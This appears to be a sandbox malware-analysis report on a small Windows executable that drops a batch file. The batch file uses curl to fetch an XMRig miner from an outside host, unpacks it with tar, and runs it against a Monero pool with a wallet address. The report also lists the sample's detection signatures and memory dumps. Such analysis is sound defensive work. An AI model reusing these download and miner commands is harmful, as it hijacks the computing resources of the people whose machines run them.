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13/03/2024, 08:45
240313-knsznahb2w1013/03/2024, 08:44
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240313-km8cysha9v1013/03/2024, 08:43
240313-kms82aah481012/03/2024, 18:00
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240312-wf31fahd5810Analysis
- max time kernel
1194s - max time network
1204s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
13/03/2024, 08:43
General
- Target test - Copy - Copy - Copy (2).exe
- Size 6KB
- Sample240313-kms82aah48
- SHA256 a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
Malware Config
Signatures
- XMRig Miner payload 63 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy (2).exe"C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy (2).exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\19WhpMv4.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵
-
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C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵
-
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C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
19WhpMv4.bat
xmrig-6.21.1-gcc-win64.zip
xmrig.exe
memory/1760-57-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-56-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-26-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-92-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-91-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-27-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-28-0x0000016B82490000-0x0000016B824B0000-memory.dmp
memory/1760-29-0x0000016B824B0000-0x0000016B824D0000-memory.dmp
memory/1760-30-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-31-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-32-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-33-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-34-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-35-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-36-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-38-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-39-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-41-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-42-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-43-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-44-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-46-0x0000016B82490000-0x0000016B824B0000-memory.dmp
memory/1760-45-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-47-0x0000016B824B0000-0x0000016B824D0000-memory.dmp
memory/1760-48-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-49-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-50-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-51-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-52-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-53-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-54-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-55-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-59-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-23-0x0000016B80C50000-0x0000016B80C70000-memory.dmp
memory/1760-25-0x0000016B82450000-0x0000016B82490000-memory.dmp
memory/1760-58-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-73-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-61-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-62-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-63-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-64-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-65-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-66-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-67-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-68-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-69-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-70-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-71-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-72-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-60-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-74-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-75-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-76-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-77-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-78-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-79-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-80-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-81-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-82-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-83-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-84-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-85-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-86-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-87-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-88-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-89-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/1760-90-0x00007FF6F1300000-0x00007FF6F1E04000-memory.dmp
memory/4008-4-0x00007FFE83B30000-0x00007FFE845F1000-memory.dmp
memory/4008-0-0x0000000000480000-0x0000000000488000-memory.dmp
memory/4008-22-0x00007FFE83B30000-0x00007FFE845F1000-memory.dmp
memory/4008-24-0x00007FFE83B30000-0x00007FFE845F1000-memory.dmp